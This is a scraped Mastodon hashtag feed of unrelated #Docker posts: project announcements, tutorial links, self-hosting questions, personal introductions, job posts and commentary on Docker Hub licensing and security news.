We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Hollo

@hollo@hollo.social

While the old image registry will remain accessible, it won't receive any new tags. We recommend all Hollo users to update their Docker image references to the new registry address.

To update your Docker configurations, please change:

From: ghcr.io/dahlia/hollo:latest
To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth!

#fediverse

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

Fedify: ActivityPub server framework

@fedify@hollo.social · Reply to Fedify: ActivityPub server framework's post

We've just moved the #Fedify project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

New GitHub organization: https://github.com/fedify-dev.

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

【🪙中級者向け】改めてDockerを深ぼる① ~ 仮想化の歴史について ~
https://qiita.com/ikemura-ren/items/b24d9eb497acfa48486a?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #vmware #Docker #仮想化 #歴史 #container

pandoc

@pandoc@fosstodon.org

Use locally installed fonts in the LaTeX Docker container by mounting your fonts directory to /usr/local/share/fonts, e.g.

docker --volume=/usr/share/fonts:/usr/local/share/fonts pandoc/latex …

Should work with XeLaTeX and LuaLaTeX PDF engines as well as with the "typst" container.

#pandoc #TeXLaTeX #typst #fonts #docker

joschi

@joschi@hachyderm.io

🚀 Dive 0.14.0 has just been released with support for zstd compression in container image layers.

Thanks to Steven Halaka for contributing this feature!

> Dive is a tool for exploring each layer in a Docker image.

🐳 https://github.com/joschi/dive/releases/tag/v0.14.0

#docker #oci #containers

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

[rails] tailwindインストール時にexit code 127が出た時の対処法 [tailwind]
https://qiita.com/YamzknA/items/53478370761f716b068f?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Ruby #Rails #Docker #tailwindcss

Attractive Nuisance

@diffrentcolours@tech.lgbt · Reply to Attractive Nuisance's post

I've had a bit more of a poke at this now, the Dockerfile is installing a bunch of services and they're running when the container does.

Nothing's really integrated and talking to itself yet, that's the next step...

I got a little sidetracked by the fact that Pixelfed ships with its own docker-compose.yml but I can't figure out how to make sense of it.

https://codeberg.org/diffrentcolours/pixelfed_aio is where I've got to so far. Feel free to have a poke around, make improvements, or let me know what I've done wrong.

#PixelFed #Docker #SelfHosting

Marc Trius

@alter_kaker@hachyderm.io

Standing up @nodebb on #Docker with #MongoDB.

A little while ago I was discussing with @raf the things I am looking for in online interaction that I'm not getting from traditional or federated social media. A lot of different things came up, but the most important and central is this:
the need to be able to have deep, complex conversations with people I trust, in a way that those conversations are not ephemeral, lost in the endlessly scrolling feed, like an infinite dark plain in which attention is but a circle of candlelight—but permanent, archived, accessible.

This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.

What suggested itself was an Internet forum.

https://marctrius.net/deploying-nodebb-on-docker-with-mongodb/

#SelfHosting #Forum #Docker #VPS

Marc Trius

@alter_kaker@hachyderm.io

Standing up @nodebb on #Docker with #MongoDB.

This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.

What suggested itself was an Internet forum.

https://marctrius.net/deploying-nodebb-on-docker-with-mongodb/

#SelfHosting #Forum #Docker #VPS

AliveDevil

@AliveDevil@tauri.earth

Naming convention for #Podman --env-file?
Do you use .service.env, or .env.service.

#Docker #Container #Linux

Option	Voters
.env.service	2 (50%)
.service.env	2 (50%)

AliveDevil

@AliveDevil@tauri.earth

Naming convention for #Podman --env-file?
Do you use .service.env, or .env.service.

#Docker #Container #Linux

Option	Voters
.env.service	2 (50%)
.service.env	2 (50%)

Marc Trius

@alter_kaker@hachyderm.io

Standing up @nodebb on #Docker with #MongoDB.

This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.

What suggested itself was an Internet forum.

https://marctrius.net/deploying-nodebb-on-docker-with-mongodb/

#SelfHosting #Forum #Docker #VPS

pandoc

@pandoc@fosstodon.org

Apologies for the prolonged break. We're back with the announcement of fresh #Docker images for #pandoc 3.6.2.
https://hub.docker.com/u/pandoc

Attractive Nuisance

@diffrentcolours@tech.lgbt

Had a bit of a play at building a #PixelFed #Docker container tonight. I'm planning a simple "all in one" build with nginx, MariaDB, php-fpm and Redis bundled under either runit or supervisord.

That should make it easier for people to play with spinning up their own instances. Should have something to show for this by the end of the weekend but there's some PHP / Laravel learning curve.

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

【Docker番外編①】DjangoのコンテナからMySQLのコンテナにアクセスできない？
https://qiita.com/ikemura-ren/items/13102ce6bdb31e55bf81?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Django #MySQL #error #初心者 #Docker

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

MacのDocker Desktopがマルウェアで開かない対応方法
https://qiita.com/topi_log/items/b65ea476e9da2d7a6155?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Mac #Docker #マルウェア

Codeberg

@Codeberg@social.anoxinon.de

Help from #podman or #docker users welcome!

We have started to offer open alpha access to a hosted Forgejo Actions CI runner. Unfortunately, there are many jobs that can crash the runner for every user reliably, and many users execute them inadvertently.

To save cost and disk wear, we want to keep temporary writes inside the CI builds in RAM and only store the images persistently.

However, the setup is apparently incorrect and we need help figuring it out.

See https://codeberg.org/actions/meta/issues/11

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

Ruby3.1 ~ 3.4でDocker buildでpsychのインストールで失敗する
https://qiita.com/tatematsu-k/items/d68e19c8a90b2599baf2?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Ruby #Docker #psych

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

【Go】DockerFileでの環境構築
https://qiita.com/Yporon/items/9467093dc25c7a52564d?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Go #Docker #dockerfile

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

(初心者向け）DjangoのDocker開発環境を作成する。
https://qiita.com/mamedog/items/6dff541ecb3b2be7427e?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Python #Django #MySQL #Docker #docker_compose

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

[🔰初心者向け]Dockerを初歩から学びたい方へ🐋 ~全9回~
https://qiita.com/ikemura-ren/items/b961642d55e4e6515203?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Linux #初心者 #Docker

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

Docker Desktop for Macがエラーで起動できない件(#7527)についての情報
https://qiita.com/zembutsu/items/00e147cc1b97d89aaab6?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Docker #DockerDesktop

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

Docker Desktopがマルウェア扱いされてしまった時の対処
https://qiita.com/rena_n/items/f77a40bfd91872b68153?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #Mac #Docker

ale

@ale@social.manalejandro.com

Crear la imagen oficial de #docker de #nginx con el módulo #testcookie 🍪

https://blog.manalejandro.com/~/Art%C3%ADculos/Crear%20la%20imagen%20oficial%20de%20docker%20de%20nginx%20con%20el%20m%C3%B3dulo%20testcookie

"Musty Bits" McGee

@arichtman@eigenmagic.net

The joke... it just wrote itself

#DevOps #PlatformEngineering #Docker #Containers #OCI #Cloud #Podman

ALT text details

a MacOS malware popup advising that Docker will damage your computer, and it should be moved to the bin

Qiita - 人気の記事

@qiita@rss-mstdn.studiofreesia.com

改めてDockerを理解する⑥[Dockerのネットワークについて]
https://qiita.com/ikemura-ren/items/0e6071f26a847366e585?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items

#qiita #初心者 #Docker

Kazuky Akayashi ฅ^•ﻌ•^ฅ

@KazukyAkayashi@social.zarchbox.fr

Ça va trop loin la, foutre du docker pour un thème ...

#Docker

、、、

@dampuzakura@fedibird.com

個人的・仲間内でセルフホストしているサービス 2022 - Google Workspaceから離脱するための検討ログ (2) - #Docker - Qiita
https://qiita.com/jqtype/items/ca576967ffa1a25e6e4a

개복치 🌺🎗️

@mola@uri.life

WSL 2 - docker 컨테이너에서 GUI 앱을 실행하여 Windows에서 표시

https://docs.google.com/document/d/e/2PACX-1vQ4v7bUfabMIp5zzIQ0IBm4kIrrU6AEPFN06WxKNQdtrWlewM823jVQrr4_sYMdSBDyxjryi-RdM9aI/pub

#wsl #gui #docker

Andrew Lock

@andrewlock@hachyderm.io

Blogged: Building LaTeX projects on Windows easily with Docker

https://andrewlock.net/building-latex-projects-on-windows-easily-with-docker/

In this post I describe how I build LaTeX projects on a Windows machine by using Docker and the blang/latex image

#docker #TeXLaTeX

☮ ♥ ♬ 🧑‍💻

@peterrenshaw@ioc.exchange

"If #WASM + #WASI existed in 2008, we wouldn't have needed to create #Docker. That's how important it is. #WebAssembly on the server is the future of computing." — Solomon Hykes

#Manning / #books / #software / #technology <https://manning.com/books/server-side-webassembly?trk_msg=FDRHHVMGQS84ND9TE0J9TOI5LS&trk_contact=BPSP1BEUS2OH7DKUHDUSI721NG&trk_sid=47B5DN0BGE66P09999EC5ACG40&trk_link=MF42PIS2BJK4N01BGQDFFBUOM4>

Adam ♿

@voltagex@aus.social

Nah, I'll stick with #docker compose

ALT text details

Portainer Home and Student Annual Subscription for Portainer Business for Home Users and Students. $149/yr Home and Student Includes - All Business Edition features. Restricted to non-commercial use. Max of 15 nodes. Community support. Requires Portainer version 2.18.4 or newer. Available for credit card purchase only. Subscription auto-renews. Please note if you are a business, we will revoke the license key. Home & Student licenses are not stackable with other licenses. All prices are in USD and exclude local, regional or national taxes.

0hlov3

@0hlov3@privatetrace.io

#introduction

Hey there, I’m 0hlov3! 🎮👨‍💻 Just your friendly neighborhood gaming and tech nerd, trying to make life as comfy as my setup allows. I split my days between EndeavourOS and macOS, while nerding out over cool tech and sharing my random hobbies.

Yes, I’ve written intros before—because apparently, I have a knack for switching Fediverse instances like people change phone cases. 😅 This time, though, I promise: last move, cross my heart (unless I find a shinier domain... but let’s not go there).

Why am I here? Just chasing good vibes, tech chatter, and interesting conversations. Hope you’re all doing amazing! 🚀

Interests:
✨ #GoLang | 🐧 #Linux | ☸️ #Kubernetes | 🚀 #EndeavourOS
🛠️ #Docker | 📦 #Containerisation | 🎮 #LinuxGaming | ✍️ #Writing

Let’s connect and share some cool stuff! 😎

Josep Monjo

@monjo@mas.to

Switching from Portainer to Dockge
https://monjo.eu/switching-from-portainer-to-dockge/ #docker #portainer #dockge #devops #linux

Philip Bernhart

@phantasus@social.tchncs.de

I'm a senior backend engineer, did most stuff with #ruby. I like #linux know also #clang the usual scripting stuff, #python. I know a little bit #java did #openshift ( #kubernetes ) and #docker containers. My preferred database is #postgresql

Is someone searching for #vienna in #austria ? I mean finding a job should not be hard with that kind of profile, right?

#GetFediHired

Kyle Taylor

@kta@hostux.social

Interesting read. Why Linus Torvalds struggles with #Docker : security is leaky; containers are not properly isolated. Modules are shared across containers. Etc... #Kubernetes solves some of this by enforcing security in orchestration. But not all of it. Need to take a deep dive into jails (@mwl). There's been a lot of movement lately in #FreeBSD with #podman. The security posture is greater with jails. But don't understand how.

[1] https://www.opensourceforu.com/2024/12/analysing-linus-torvalds-critique-of-docker/

[2] https://mwl.io/nonfiction/os#fmjail

"Musty Bits" McGee

@arichtman@eigenmagic.net

Nifty new Docker build features

https://martinheinz.dev/blog/111

#Containers #Linux #Docker #DevOps #PlatformEngineering

joschi

@joschi@hachyderm.io

Happy **Container Base Image Update Day** to those who celebrate! 🎆

https://fosstodon.org/@alpinelinux/113600582275026707

#AlpineLinux #linux #docker #containers

Andy Todd

@andy47@aus.social

Dear #lazyweb does anyone have any clear, concise instructions for passing #ssh traffic through Nginx Proxy Manager to a #docker container on another server? Thanks in advance.

Josep Monjo

@monjo@mas.to

I’ve just switched from #portainer to #dockge. I was tired of Portainer issues with my docker compose files. Dockage is much more transparent and easy to use and let you interact directly with your compose.yaml files
#dev #docker

Esurio

@esurio1673@c.koliosky.com

[ Kubernetes をローカルで試してみる #Docker - Qiita ]
https://qiita.com/coitate/items/cca2105e00ea5cae7dcc

Valentin B.

@beeb@hachyderm.io

There's a new article on my personal blog! A few weeks ago, I was tasked to create an #AWS #Lambda endpoint in #RustLang at work and needed to distribute it as a #Docker image to suit the current infrastructure and release flows. Since there was little information, I had to try a few things before I came to a working container image. The article describes the final solution I used.

https://beeb.li/blog/aws-lambda-rust-docker

Stefano Marinelli

@stefano@bsd.cafe

This morning, a colleague noticed an issue with a Docker-based workload. I stepped in and checked—an upgrade hadn't migrated the database schema, and everything was failing. I manually ran the command in the container and resolved the issue.

The colleague couldn't understand what had happened. He asked me to explain, so I showed him the procedure.

Like many others, he was fascinated by how easily a "docker compose up -d" can set up a service, but this unfortunately hides complexities that, without adequate knowledge of what's underneath, can make the setup extremely fragile.

These tools are powerful, but we shouldn't make the mistake of thinking that understanding the underlying tools is no longer necessary.

#Docker #Containers #Podman #OCI #IT #SysAdmin

noim

@noim@noc.social

I might replace my #homelab with a Mac Mini. Currently, I limit my home server to save power, but it has become noticeably slow. Additionally, my platform is quite unstable. While #MacOS might not be the ideal OS for server use, it would suit my needs. For #docker containers, I can use #orbstack, and Plex can run natively. I’d lose the ability to unionize my fs (like how Unraid combines disks), but I’m okay with that. On the plus side, I could finally use the native Backblaze client for backups.

"Musty Bits" McGee

@arichtman@eigenmagic.net

Anyone know the health/readiness endpoint for Docker daemon on TCP/HTTP?

I'm having pains with it not being up remotely and need something that'll wait until it's ready.

#Docker #PlatformEngineering #DevOps #GitLabCI #GitLab

Matt Shaw

@mash@mastodon.me.uk

I've written a guide to building a highly customisable, lightweight, secure, and performant static site using #MkDocs, #NGINX and #Docker: https://matthew-shaw.github.io/blog/2024/11/04/building-a-static-site-with-mkdocs-nginx-and-docker/

joschi

@joschi@hachyderm.io

I’ve been annoyed enough with Dive not working on macOS properly that I (temporarily, at least that’s what I tell myself) forked the somewhat dormant upstream project and released a new version with some new features and bug fixes.

Please don’t let me regret it.

Release notes: https://github.com/joschi/dive/releases/tag/v0.13.1

#docker #container #podman #dive

Pedro Piñera

@pedro@mastodon.pepicrft.me

Is there an OCI-image registry that's focused on open-source projects? #podman #docker

Carlos D. Álvaro

@cdalvaro@fosstodon.org

For those of you having troubles with the migration of
#SaltProject to #Broadcom, and if you use #Docker, you can check https://github.com/cdalvaro/docker-salt-master for running salt-master containerized.

#SaltMaster #SaltStack #DevOps #Containers #Docker #IT #SaltAPI #Infrastructure #Podman

Daniël Franke

@ainmosni@ainmosni.eu

Am I the only one who doesn't really like configuring services with environment variables?

#linux #kubernetes #docker

Alex Popescu

@popalex@mastodon.social

Backup your postgres database to Hetzner S3 Object Storage: https://blog.popescul.com/posts/2024-10-12-backup-postgresql-with-docker/ #postgresql #hetzner #docker

Victor García 👨🏻‍💻😸🎃

@vggonz@mastodon.denibol.com

Siempre he tenido el hobby de administrar servidores. Y con el #Fediverso he visto otra oportunidad de retomarlo. Os presento la máquina dónde está alojada esta humilde instancia.

Un #ODroid HC4 de 4 núcleos y 4 GB de memoria con disco #SSD. Lo de al lado es mi router con #OpenWrt (con #Wireguard y #Adblock )

Para complementar también tiene un servidor #torrent con #Plex para ver en el #Chromecast 🏴‍☠️. Todo con #Docker.

ALT text details

Un servidor con forma de tostadora y un disco duro insertado como si fuera una tostada

Brianna Townsend

@britown@mastodon.gamedev.place

Someone recently told me that it's a constant losing war of attrition to try to host your own mail server because you'll never have reliable delivery.

I'm not paying for anything and I want to use my domain for my email and it feels dumb to have that be the thing I have to pay for.

Was going to just spin up Docker Mailserver

I'd be using it for professional communications, admin for other hosted services, and sending newsletters.

Curious to hear first-hand experiences!

#selfhosting #docker

Stefan :veritrek:

@stefan@social.stefanberger.net

I guess I missed doing a short #introduction 😂

I’m a dad of a little son living in #Kerken, Germany 🇩🇪. As an engineer at the International IT of ALDI South I’m helping a lot of teams with automation, CI/CD etc. In former roles I worked as Cloud Solution Architect (#AWS) and #smalltalk developer/SA.
Besides #exploring the world with my family, I like creating stuff with computers, doing #selfhosting, #virtualization using #proxmox, #docker etc.
Currently I’m deeply into #mastodon 🎉

"Musty Bits" McGee

@arichtman@eigenmagic.net

It's not a script mom, it's called a Dockerfile. I'm imperative now, and DON'T say "it's just a phase" again!

#Containers #Docker #DevOps #PlatformEngineering

"Musty Bits" McGee

@arichtman@eigenmagic.net

Dockerfiles tried to warn us - it says RUN FROM *right there*

#Docker #Containers #DevOps #PlatformEngineering

AmyFou 🥥🌴

@amyfou@lingo.lol

I am a #linguist (non-tenure track, uni) interested in every single thing about #languages, esp #Indigenous ones, #academics & #teaching Side gig in #ComunityBased #LanguageTech (#webdev #React #postgres #hasura #graphQL #nodeJS #nginx #linux #podman #kubernetes #docker #unicode lol). I love #animals and will ask you too many questions about your #dogs #cats #horses #sheep #goats #chickens #bunnies #piggies #cows etc . Proud #UglyDogs fan. Love #nature #birds #photography #art 👋

Mo :ferris: :tux:

@mo8it@fosstodon.org

#OxiTraffic, a self-hosted, simple and privacy respecting website traffic tracker 🌐

➡️ Demo: https://oxitraffic.mo8it.com

I just published version 0.6 with a #Docker image! 📦️
(You don't have to use Docker though)

Do you have a #blog?
I can host it for you if you want to test it with your website :blobcatheart:

Of course, it is written in #Rust 🦀
Check out the README, I spent a lot of time on it 😇
https://codeberg.org/mo8it/oxitraffic

Boost? 🔃🥰

#SelfHosted #IndieWeb #FOSS #Analytics #Traffic #RustLang #Axum

ALT text details

A screenshot of https://oxitraffic.mo8it.com/

DevOps Weekly

@devops_discussions@mastodon.social

RunCVM: An open-source Docker runtime for launching container images in VMs

https://github.com/newsnowlabs/runcvm

Discussions: https://discu.eu/q/https://github.com/newsnowlabs/runcvm

#devops #docker #programming

:mastodon: Ric Harvey 🇪🇺🌍💚

@Ric@awscommunity.social

If you want a really easy way to run @rolle excellent Bird-UI for #mastodon in #docker I've built an image for amd64 and arm64 that you can grab from #gitlab and dockerhub: https://gitlab.com/ric_harvey/docker-mastodon-bird-ui #mastoadmin

noim

@noim@noc.social · Reply to noim's post

The requirements are:
- needs to work offline in #docker
- user scripts can load additional dependencies, that also need to work offline the next launch
- user can access script dir and write scripts with vscode. Version of reactive-home needs to match the current docker image version
- should be available on #jsr

I have an idea of how I can achieve this, but it is annoying to refactor and test because, at the end of the day, it needs to work again since it powers my #SmartHome haha
#deno

noim

@noim@noc.social

I really want to refactor parts of my reactive home project. But before I do that, I need to refactor the release flow and the packaging. I tried this once a few months ago, but failed miserably and reverted all commits. It is a #deno project which loads user defined scripts. And everything needs to run inside #docker. Currently, I just use http imports for that, but the image should work offline. This should be easy, right?

Chad :vbike:

@chad@vault37.xyz

Self-hosting Mastodon server owners, did you install from source or docker?

#selfhosting #mastoadmin #Docker

[moved] Floppy 💾

@floppy@fosstodon.org

Hacked together a script that helps compiling #Rust binaries on a remote host in a #Docker container. It goes roughly like this:

tar czf - $FILES | \
ssh remote docker run $ARGS rust:1.80 "$@" | \
tar xzvf - -C "$BIN_DIR"

And on the remote end there is a script running in a container doing tar/cargo/tar.

n00q

@n00q@don.n00q.net

Every time I need to touch docker it is a struggle. I have no desire to learn everything about docker, but I would like to be more familiar with the ins and outs so that running stuff with docker isn't always such a pain.

Recommend me a good #docker crash course. Like 10 days of docker?

Hossain Khan

@hossainkhan@androiddev.social · Reply to Hossain Khan's post

Few favourite apps are
* Memos (note taking) - https://github.com/usememos/memos
* Actual Budget - https://github.com/actualbudget/actual
* File Browser - https://github.com/filebrowser/filebrowser
* Speed Test Tracker - https://github.com/henrywhitaker3/Speedtest-Tracker
* Uptime Kuma - https://github.com/louislam/uptime-kuma
* Syncthing (file sync) - https://github.com/syncthing/syncthing

#docker #selfhosted #apps #foss

Hossain Khan

@hossainkhan@androiddev.social

Haven't done web stuff for a while. Lately, I have been playing with #docker and #portainer stuff.

I have been enjoying thoroughly setting up different #selfhosted web apps!

joschi

@joschi@hachyderm.io

🐳 If you are using the very, very old official PostgreSQL Docker image for PostgreSQL 8 (`postgres:8`), you might be interested in https://hub.docker.com/r/joschi/postgres8 which is a identical copy of the Docker image (`postgres:8`, `posgres:8.4`, `postgres:8.4.22`) which was still using the deprecated and planned for removal image manifest v2 schema 1 and "Docker Image v1" formats.

https://docs.docker.com/engine/deprecated/#pushing-and-pulling-with-image-manifest-v2-schema-1

#Docker #PostgreSQL #Deprecation

Suzanne Aldrich (she/her)

@suzannealdrich@hachyderm.io

I’m deep into building a #Pixelfed instance with a nice #Docker Compose option from @jippi and I realize I need to figure out the #hardware situation. I am going to #host this from my office closet. Does anyone have any #homelab tips or suggestions on how I should spec this out? #LinuxServer #containers #Linux #Computing #BOFH #neckbeard #nerdalert

🌈 Kerblambuli 🦄

@ChrisUplus@chaos.social

Whoa, I've got bad news for you if you're relying on unverified #container images from #Docker Hub (and probably most other public image registries). :boost_ok:

Over a thousand Docker container images found hiding malicious content | TechRadar
https://www.techradar.com/news/over-a-thousand-docker-container-images-found-hiding-malicious-content

Box464

@box464@mastodon.social

Home Lab achievement unlocked - I moved a docker container (IceShrimp.NET) from one server to another and nothing exploded!

I'm very proud, something I've never done before. :blobpats:

#HomeLab #Docker #Portainer

ALT text details

Nick Offerman as Ron in Parks and Recreation beams at someone and smiles under a thick mustache. Text, "I'm really proud of you."

Adam ♿

@voltagex@aus.social

DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/

This is going to be fun, at least for the change in log output by default.

I really should move to #Podman.

#Docker

Ross Grady

@rossgrady@dood.net

I had an interesting conversation with some #Docker executives on Friday, in which they highlighted some changes to their terms of service / business model. TL;DR: enterprises are now expected to pay for a full Docker subscription for *any* access to any "Docker Platform" features, including Docker Hub, regardless of pull rate.

So, for example, if you're a company with > 250 employees or > $10M revenue, and you have a Linux box pulling one open source image a week from Docker Hub, you must buy a Docker subscription for that box. And any others.

Previously, their website verbiage was focused solely on usage of Docker Desktop by enterprises.

If you are an #OpenSource maintainer and you're publishing container images on Docker Hub, they are monetizing your images, and they're doing so via a flat monthly rate regardless of consumption level. (IMHO that rate is too high, but YMMV, I guess)

This is obviously their prerogative. Really my only request/suggestion to Open Source maintainers who publish container images would be to consider also publishing them on GitHub's container registry (aka GitHub Packages) or any other registry, rather than single-sourcing with Docker Hub.

:vfd: holm 🦻🏻🤯 :abc:

@holm@social.saarland

hat jemand hier skill und bock, #computerkram in der mehlfabrik zu machen?

#windows clients, #linux server,
linux clients, #webserver, netzwerkkram, viel #mikrotik, ein wenig anderes zeug, ganz viel #proxmox und #zfs, ein wenig #docker (-compose), swarm, opnsense und anderer kram. manches 20 jahre alt, anderes #zukunftstechnologie von übermorgen.

details entstehen gerade, aber prinzipielles interesse gerne per an mich bekunden. Danke.

#saarland #saarlouis #jobs #fachinformatiker #sysadmin

Schenkl 🏳️‍🌈

@schenklklopfer@chaos.social

Mal ins blaue gefragt:

Hat ein Wesen hier schon mal #Docker #Swarm in der #HetznerCloud gebaut und betrieben?

Ebenjenes möge mich doch mal anpingen ;)

#followerpower :BoostOK: :ReplyOK:

David Vasandani

@davidvasandani@social.coop

#introduction

My name is David. I'm a husband, and father of two very small #kids, and live in the Echo Park area of Los Angeles, California.

I'm a Lead Software Engineer @ Sweetgreen 🥗 focusing on Infrastructure (primarily AWS) and Site Reliability.

Ask me questions about #aws #docker #devops #sre #terraform. I love to teach and will do my best to respond.

I'm interested in #ClimateJustice, #WalkableCities, #HousingJustice, #USPolitics, and #homelab. I value patience and empathy.

BLACKVOID ⚫️

@blackvoid@mastodon.social · Reply to JRSofty's post

@jrsofty @arichtman Reason for this, is because #Docker works this way. If both SQL and your frond end app are not part of the same compose, as 2 separate services, but rather running them as 2 separate containers based on separate compose files, then you will have to configure each of them to use the same docker virtual namespace. Try and use network_mode:nameofNetwork for both of them and see if your will have any issues in communication.

BLACKVOID ⚫️

@blackvoid@mastodon.social

A bit of #introduction from me.

Focusing on #synology content as well as #docker and #opensource solutions. Working for the past 30+ years in #it with my current occupation as #sysadmin and #devops.

Love to tinker with various solutions while testing and implementing them.

A moderator over at @synoforum, and owner of https://www.blackvoid.club and https://www.blackvoid.tech domains.

#plex junky that loves #fantasy, #horror and #syfy

JRSofty

@jrsofty@toot.community

I'm at the point where I'm about to throw my laptop out the window trying to get #docker to allow me to have 2 standalone containers talk to one another. The #Network setings for docker are atrocious. Nothing makes sense and no one has a clear path for getting to work. The documentation is also not clear and unhelpful. Why does it need to be so difficult. Why can't I simply tell one container when I set it up to run it's allowed to talk to the other container without jumping through hoops!

Kris Hardy 🌮

@nonlinear@mastodon.nz · Reply to Kris Hardy 🌮's post

To my #FDIR friends: are there any good playbooks you have for #fdir of #docker containers, especially #Azure #ContainerApps or #ContainerInstances?

Matt Cengia (seeking work)

@mattcen@aus.social

:boost_requested: #GetFediHired #Jobs #SysAdmin #Python #FOSS #FLOSS
Hey #FediHired, I'm on a #JobSearch. I'm a #Linux systems engineer and #Python developer with 15+ years' experience, based in #Melbourne, Australia. I have a high attention to detail & lots of experience working with people (15+ years community organising/Scout leading). Motivating values: free/ #OpenSource software, accessibility, diversity, equity, inclusion, privacy, and security, analysing/improving/automating systems/processes. Recent personal projects involve #Docker, #Django, #Ansible.
Ideally seek remote role with communicative/cohesive team, variety, flexible hours, ideally max 4 days/week.
LinkedIn: https://www.linkedin.com/in/mattcen/
Resume: https://blog.mattcen.com/resume/

$.:\dGh/:.'s avatar$

.:\dGh/:.

@darkghosthunter@mastodon.social

Okay, #Coolify is a pain to work with on an internal network. If you're using GitHub for your things, that's okay, but for everything else is not.

Is there any other alternative?

BTW, this is Coolify: https://coolify.io/

 #Linux #DevOps #Server #Servers #Docker #Containers #Kubernetes #VM #Virtualization #OCI #Debian #CentOS #Alpine #Fedora #Forgejo #Git #GitHub #GitLab #Podman #PHP #Go #Rust #JavaScript #Vue #Nuxt #NextJS #React #Angular #Coolify

Jon Seager

@jnsgruk@hachyderm.io

Pretty huge news from Canonical yesterday!

"Today, Canonical announced a 12 year LTS for any open source Docker image!"

https://canonical.com/blog/canonical-offers-12-year-lts-for-any-open-source-docker-image

#Canonical #Ubuntu #Docker #Security

Deekshith Allamaneni

@dsoft@techhub.social

It almost feels like Mastodon do not want us to self host. There is no direct link on the main webpage to install on server. Digging through the docs, finally found documentation and there is no Docker container or a package for any OS for easy installation. They require us to install from source along with all the dependencies. I don't mean to bad mouth it but they do not do enough to encourage self hosting (if not discourage).

Would like to know your opinions or ideas on how to self host it easily with minimum maintenance (auto upgrades, etc).

Source: Mastodon server install docs: https://docs.joinmastodon.org/admin/install/

#Mastodon #SelfHost #SelfHosting #SelfHosted #ActivityPub #Fedi #Docker #NixOS #Linux #Pleroma #MissKey

Paul Wilde

@paul@notnull.space

PSA: I may disagree with you on one thing, but that does not mean I won't agree with you on another
Please calm down, we can still be friends.
xx

#Rust #Wayland #Docker #Ubuntu #JavaScript #Windows #MacOS #footTerminal #KDE #Gnome #Sway #XFS #NotPuttingAltTextOnImages #ExcessiveUseOfHashTags #CallingHashtagsHashtags

Drew Naylor

@DrewNaylor@mastodon.online

"Error: device cgroup rules are not supported in rootless mode or in a user namespace"

Why are you like this, #podman? I need #Resolve to be able to access the dongle but it wouldn't show up before so I tried to do a thing in the runner script to get the dongle into a cgroup. Trying #Docker now.

gemma lynn

@ellotheth@bsd.network

today was my last day at @wonderproxy. last day working with @preinheimer and @schmalliso and @tdriley and will (and puck, the new me!).

it's been a pretty solid decade, folks. i have some FEELS. i learned #golang, #reactjs, #nodejs, #selenium, #playwright, #puppet, #docker, #mongodb, and how and why not to use #jwt's. i keynoted #phptek, staffed a vendor booth at #saucecon, and contributed (a very little bit) to my favorite #php framework.

there is nothing in my adult life that has had as much of an impact on my career as the folks at wonderproxy. thanks for being awesome, wonderpeople. it's been a privilege working with you.

ale

@ale@social.manalejandro.com

Aparte de por seguridad y mantenimiento, me gusta usar #docker porque en alguna ocasión me ha petado alguna máquina y he podido levantar los servicios en minutos.

ale

@ale@social.manalejandro.com

Una de las cosas que más me gustan del nuevo eclipse es poder desplegar el proyecto en #docker directamente 🐳

ale

@ale@social.manalejandro.com

También hice otra imagen con el contenedor de #docker de pytorch y el framework de IA para ejecutarla con el procesador, pero se pasa de tamaño, pesa un gigo y el WASM del navegador no la quiere, pero molaría entrenar una #IA en la pestaña del navegador con esa tecnología.

ale

@ale@social.manalejandro.com

Si abres el siguiente enlace se abrirá una pestaña de tu navegador que ejecutará un sistema operativo completo con el contenedor de #docker de #Debian sid, totalmente funcional con red externa poniendo un socat a un proxy por ejemplo. Enjoy 🥸

ale

@ale@social.manalejandro.com

Pues funciona perfectamente la red en el contenedor de #docker.

ale

@ale@social.manalejandro.com

Nuevo repositorio que he creado evolucionando un proyecto de #docker para usar el IDS Snort2 en la última versión.

https://gitlab.com/manalejandro/snort2-docker

Changelog

@changelog@changelog.social

“With Docker, we learned that the hard way”

🎥 https://youtu.be/ZthqD40zzMQ

#Dagger (previously #Docker) founder @shykes speaks candidly about the different between an #opensource ecosystem and an actual community

Woon Wu Chyi

@wuchyi@woon.my

Hello and welcome to my #fediverse profile!

I've spun up my own #GoToSocial instance as a way to teach myself #docker and server administration, but also to finally have a **forever** home in the federated universe.

